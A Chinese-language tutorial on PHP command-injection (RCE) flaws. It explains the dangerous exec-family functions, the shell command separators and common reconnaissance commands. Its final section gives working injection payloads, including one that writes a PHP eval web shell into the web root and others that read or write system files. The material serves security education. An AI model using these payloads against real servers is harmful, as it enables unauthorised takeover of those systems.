网络安全深入学习第一课——热门框架漏洞(RCE-命令执行)

文章目录

  • 一、RCE
  • 二、命令执行/注入-概述
  • 三、命令执行-常见函数
  • 四、PHP命令执行-常见函数
    • 1、exec:
    • 2、system
    • 3、passthru
    • 4、shell_exec
    • 5、反引号 backquote
  • 五、PHP命令执行-常见函数总结
  • 六、命令执行漏洞成因
  • 七、命令执行漏洞利用条件
  • 八、命令执行漏洞分类
    • 1、代码层过滤不严
    • 2、系统的漏洞造成命令注入
    • 3、调用的第三方组件存在代码执行漏洞
  • 九、命令执行漏洞常用的命令
    • Windows
    • Linux
  • 十、命令执行漏洞原理
  • 十一、命令执行漏洞使用的特殊字符
    • 1、&
    • 2、&&
    • 3、|
    • 4、||
  • 十二、命令执行漏洞getshell
    • 1、直接获取webshell
    • 2、显示当前路径
    • 3、读文件
    • 4、写文件


一、RCE

------ 远程命令执行或者代码执行,因为RCE这个词的滥用,RCE的范围比较广,只要渗透的最终情况可以实现执行命令或者是代码都属于RCE,例如代码执行、文件包含、反序列化、命令执行,甚至是写文件Getshell都可以属于RCE。

------ RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。


二、命令执行/注入-概述

------ 应用有时需要调用一些执行系统命令的函数,比如php中的system、exec、shell_exec、passthru、popen等,当用户调用这些函数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击,这就是命令执行漏洞。

------ 命令执行产生原因:Web应用的脚本代码在执行命令的时候过滤不严,从而注入一段攻击者能够控制的代码,在服务器上执行恶意指令。

------ 命令执行漏洞是PHP应用程序中最常见的漏洞之一。

------ 命令执行漏洞:直接调用操作系统命令。可以执行系统或应用指令(如CMD命令或bash命令)的漏洞,PHP命令执行漏洞主要基于一些函数的参数过滤不严导致。


三、命令执行-常见函数

常见的命令执行函数:

  • PHP:exec、shell_exec、system、passthru、popen、proc_open等
  • ASP.NET:System.Diagnostics.Start.Process、System.Diagnostics.Start.ProcessStartInfo等
  • Java:java.lang.runtime.Runtime.getRuntime、java.lang.runtime.Runtime.exec等

四、PHP命令执行-常见函数

1、exec:

返回值:返回命令执行结果的最后一行内容,失败时返回 false

<?phpecho exec($_POST["q"]);
?> 
<?phpprint exec($_POST["q"]);
?>

如下图,只会输出最后一行
在这里插入图片描述

2、system

------ 该函数会把执行结果输出,并把输出结果的作为字符串返回。

------ 如果 PHP 运行在服务器模块中,system() 函数,还会尝试在每行输出完毕之后,自动刷新 web 服务器的输出缓存,如果执行失败则返回false。

<?phphighlight_file(__FILE__);                     system('whoami');
?>highlight_file() 函数以字符串形式返回 突出显示的代码,
成功返回true,否则返回false

3、passthru

------ 执行外部程序并且显示原始输出。执行的 Unix 命令输出二进制数据, 并且需要直接传送到浏览器的时候, 需要用此函数。

<?phphighlight_file(__FILE__);passthru('whoami');
?>

4、shell_exec

------ 通过 shell 执行命令并将完整的输出以字符串的方式返回。

<?phphighlight_file(__FILE__);var_dump(shell_exec('ipconfig'));  
?>

5、反引号 backquote

------ shell_exec() 函数实际上仅是反撇号 (`) 操作符的变体

<?php echo `whoami`; ?>
这时候whoami会直接被当成命令来执行。

五、PHP命令执行-常见函数总结

------ 可执行命令的函数: system(), exec(), shell_exec(), passthru() ,pcntl_exec(), popen(),proc_open(),反引号也可以执行命令

  • system()、exec()、shell_exec()、passthru()以及反引号( ` )是可以直接传入命令并且函数会返回执行结果。

如 <?php system('ipconfig'); ?> <?php echo `whoami`; ?>

  • popen()、proc_open()函数不会直接返回执行结果,而是返回一个文件指针(通过文件指针就可对它所指的文件进行各种操作),命令是已经执行了
<?php popen('whoami >>D:/2.txt','r'); ?>

六、命令执行漏洞成因

------ 一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口,比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。

------ 而如果设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器。


七、命令执行漏洞利用条件

  • 应用调用执行系统命令的函数
  • 将用户输入作为系统命令的参数拼接到了命令行中
  • 没有对用户输入进行过滤或过滤不严

八、命令执行漏洞分类

1、代码层过滤不严

商业应用的一些核心代码封装在二进制文件中,在web应用中通过system函数来调用。

2、系统的漏洞造成命令注入

bash破壳漏洞(CVE-2014-6271)

3、调用的第三方组件存在代码执行漏洞

如WordPress中用来处理图片的ImageMagick组件
JAVA中的命令执行漏洞(struts2等)
ThinkPHP命令执行;


九、命令执行漏洞常用的命令

Windows

dir----查看文件目录
ipconfig----查看Windows的IP地址
arp -a----查看ARP缓存表
calc----在命令行打开计算器
regedit----打开注册表
netstat -ano----查看开放的端口信息

Linux

cat /etc/passwd----查看passwd文件
id----查看该用户的ID号
groups----查看用户所属的组
cat /etc/group----查看组信息
whoami----查看当前用户
pwd----查看当前路径
uname -a----查看主机信息
cat /etc/issue----查看主机的配置信息
netstat -pantu----查看开放的端口信息
netstat -nr----查看路由信息

十、命令执行漏洞原理

------ 在操作系统中,"&、|、||"都可以作为命令连接符使用,用户通过浏览器提交 执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令。

------ 远程命令执行漏洞,指用户通过浏览器提交执行操作命令,由于服务器端,没有针对执行函数做过滤,就执行了恶意命令。


十一、命令执行漏洞使用的特殊字符

在这里插入图片描述

1、&

1&2用来分隔一个命令行中的多个命令。先运行第一个命令1,然后运行第二个命令2。
在这里插入图片描述

2、&&

1&&2,先运行第一个命令1,只有在符号&&前面的命令1运行成功时才运行该符号后面的命令2。
在这里插入图片描述

3、|

1|2,命令行的管道符号,将命令1的输出立即作为命令2的输入,它把输入和输出重定向结合在一起。(直接执行了后面的语句)
在这里插入图片描述

4、||

1||2,先运行第一个命令,只有在符号||前面的命令1未能运行成功时,才运行符号||后面的命令2。
在这里插入图片描述
在这里插入图片描述


十二、命令执行漏洞getshell

------ 攻击者直接继承web用户权限,可以在服务器上执行任意命令,危害特别大。

以下是几种常见的命令执行利用方式:

1、直接获取webshell

例如可以写入一句话木马:
?cmd=echo “<?php @eval($_REQUEST[123]); ?>” > D:\phpstudy\PHPTutorial\WWW\webshell.php

2、显示当前路径

例如可以提交参数 ?cmd=cd 来查看当前路径。

3、读文件

例如:?cmd=type c:\windows\system32\drivers\etc\hosts,来查看系统hosts文件。

4、写文件

例如可以提交参数 ?cmd=echo “<?php phpinfo(); ?>” > D:\shell.php


本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/80768.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

excel中的引用与查找函数篇2

如下所有案例中表头均不参与范围查找内&#xff1a; 1、LOOKUP(lookup_value,lookup_vector,[result_vector])&#xff1a;在一行或者一列中查找某个值并从另一行或者列中找到同位置的值 记住&#xff1a;中括号内的参数可以不赋值&#xff0c;若在中间用逗号隔开这个参数&…

思维模型 协议

1 模型故事 1.1 社会性质的协议 1 世界观的建立 1 2 3 4 5 6 7 8 9 0 这些阿拉伯数字 如此常见&#xff0c;那么我们是否想过 为什么 这些阿拉伯数字我们如此熟悉&#xff1f;为什么我们要学习这些玩意儿&#xff1f;这些东西为什么大家都要学习&#xff0c;都要使用&#x…

C++数据结构X篇_14_二叉树的递归遍历(先序遍历、中序遍历、后续遍历方法介绍;举例;代码实现)

我们知道数据的存储结构分为线性与非线性。线性就是1对1的结构&#xff0c;像栈与队列都属于线性结构。那什么是非线性的结构呢&#xff1f; 非线性即1对n的结构这更符合常规情况&#xff0c;线性结构本质上属于非线性结构中的一种特殊形式&#xff0c;像树就属于非线性结构。但…

neo4j下载安装配置步骤

目录 一、介绍 简介 Neo4j和JDK版本对应 二、下载 官网下载 直接获取 三、解压缩安装 四、配置环境变量 五、启动测试 一、介绍 简介 Neo4j是一款高性能的图数据库&#xff0c;专门用于存储和处理图形数据。它采用节点、关系和属性的图形结构&#xff0c;非常适用于…

6. 装饰器

UML 聚合(Aggregation)关系&#xff1a;大雁和雁群&#xff0c;上图中空心菱形箭头表示聚合关系组合(Composition)关系&#xff1a;大雁和翅膀 &#xff0c;实心菱形箭头表示组合(Composition)关系 测试代码 #include <iostream> #include <stdio.h> #include &l…

Spring复杂对象的3中创建方法

复杂对象是相对于简单对象可以直接 new 出的对象。这种对象在 Spring 中不可以通过简单对象的创建方式来创建。下面我们将通过实现 FactoryBean 接口、实例工厂、静态工厂三种方法来创建。 FactoryBean 接口 Spring 提供 FactoryBean 接口并且提供了 getObject 方法是为了支持…

“熊猫杯” | 赛宁网安获网络安全优秀创新成果大赛优胜奖

9月11日&#xff0c;四川省2023年国家网络安全宣传周正式启动。由四川省委网信办指导&#xff0c;中国网络安全产业联盟&#xff08;CCIA&#xff09;主办&#xff0c;成都信息工程大学、四川省网络空间安全协会承办的“2023年网络安全优秀创新成果大赛—成都分站赛(暨四川省‘…

Spring Boot - 用JUnit 5构建完美的Spring Boot测试套件

文章目录 PreJUnit 4 vs JUnit 5Junit5 常用注解栗子 Pre SpringBoot - 单元测试利器Mockito入门 SpringBoot - 应用程序测试方案 SpringBoot - SpringBootTest加速单元测试的小窍门 Spring Boot - Junit4 / Junit5 / Spring Boot / IDEA 关系梳理 package org.junit.jupit…

Excel VBA 变量,数据类型常量

几乎所有计算机程序中都使用变量&#xff0c;VBA 也不例外。 在过程开始时声明变量是一个好习惯。 这不是必需的&#xff0c;但有助于识别内容的性质&#xff08;文本&#xff0c;​​数据&#xff0c;数字等&#xff09; 在本教程中&#xff0c;您将学习- 一、VBA变量 变量是…

Unity中程序集dll

一&#xff1a;前言 一个程序集由一个或多个文件组成&#xff0c;通常为扩展名.exe和.dll的文件称为程序集&#xff0c;.exe是静态的程序集&#xff0c;可以在.net下直接运行加载&#xff0c;因为exe中有一个main函数(入口函数&#xff09;&#xff0c;.dll是动态链接库&#…

腾讯mini项目-【指标监控服务重构】2023-08-04

今日已办 关于 span-references 的调研 https://github.com/DataDog/dd-trace-js/issues/1761 https://github.com/open-telemetry/opentelemetry-specification/blob/874a451e7f6ac7fc54423ee3f03e5394197be35b/specification/compatibility/opentracing.md#span-references h…

基于springboot的OA人事办公管理系统

经典 oasys(OA自动化办公系统) 办公自动化&#xff08;OA&#xff09;是面向组织的日常运作和管理,员工及管理者使用频率最高的应用系统&#xff0c;极大提高公司的办公效率。 项目介绍 oasys是一个OA办公自动化系统&#xff0c;使用Maven进行项目管理。基于springboot框架开…

为什么要使用设计模式,以及使用设计模式的好处

在软件开发中&#xff0c;衡量软件质量只要包含如下指标&#xff1a; 正确性可维护性可读性可扩展性简洁性可测试性健壮性灵活性可复用性 然而&#xff0c;对于一些刚入行的新程序员来说&#xff0c;往往会注意不到上面这些问题&#xff0c;从而产生了一些让人头皮发麻的烂代…

谷粒商城----rabbitmq

一、 为什么要用 MQ? 三大好处&#xff0c;削峰&#xff0c;解耦&#xff0c;异步。 削峰 比如秒杀&#xff0c;或者高铁抢票&#xff0c;请求在某些时间点实在是太多了&#xff0c;服务器处理不过来&#xff0c;可以把请求放到 MQ 里面缓冲一下&#xff0c;把一秒内收到的…

Unity中Shader抓取屏幕并实现扭曲效果

文章目录 前言一、屏幕抓取&#xff0c;在上一篇文章已经写了二、实现抓取后的屏幕扭曲实现思路&#xff1a;1、屏幕扭曲要借助传入 UV 贴图进行扭曲2、传入贴图后在顶点着色器的输入参数处&#xff0c;传入一个 float2 uv : TEXCOORD&#xff0c;用于之后对扭曲贴图进行采样3、…

写一篇nginx配置指南

nginx.conf配置 找到Nginx的安装目录下的nginx.conf文件&#xff0c;该文件负责Nginx的基础功能配置。 配置文件概述 Nginx的主配置文件(conf/nginx.conf)按以下结构组织&#xff1a; 配置块功能描述全局块与Nginx运行相关的全局设置events块与网络连接有关的设置http块代理…

计算机网络(二):TCP篇

文章目录 1. TCP头部包含哪些内容&#xff1f;2. 为什么需要 TCP 协议&#xff1f; TCP 工作在哪一层&#xff1f;3. 什么是 TCP &#xff1f;4. 什么是 TCP 连接&#xff1f;5. 如何唯一确定一个 TCP 连接呢&#xff1f;6. UDP头部大小是多少&#xff1f;包含哪些内容&#xf…

burp+IE 微信小程序抓包教程

文章目录 一、BURP里新增监听端口二、BURP导出证书三、导入证书四、IE代理设置五、小程序抓包实际测试 一、BURP里新增监听端口 找一个没用的端口&#xff0c;使用以下方式新增 二、BURP导出证书 选择刚才新增的监听端口&#xff0c;点击证书导入导出 将其存出来即可&…

安卓机型系统美化 Color.xml文件必备常识 自定义颜色资源

color.xml文件是Android工程中用来进行颜色资源管理的文件.可以在color.xml文件中通过<color>标签来定义颜色资源.我们在布局文件中、代码中、style定义中或者其他资源文件中&#xff0c;都可以引用之前在color.xml文件中定义的颜色资源。 将color.xml文件拷到res/value…

c++的库函数std::move() 与 完美转发函数 std:: forward 源码

以下是两个注释&#xff1a; &#xff08;2&#xff09;以下是一个实验&#xff1a;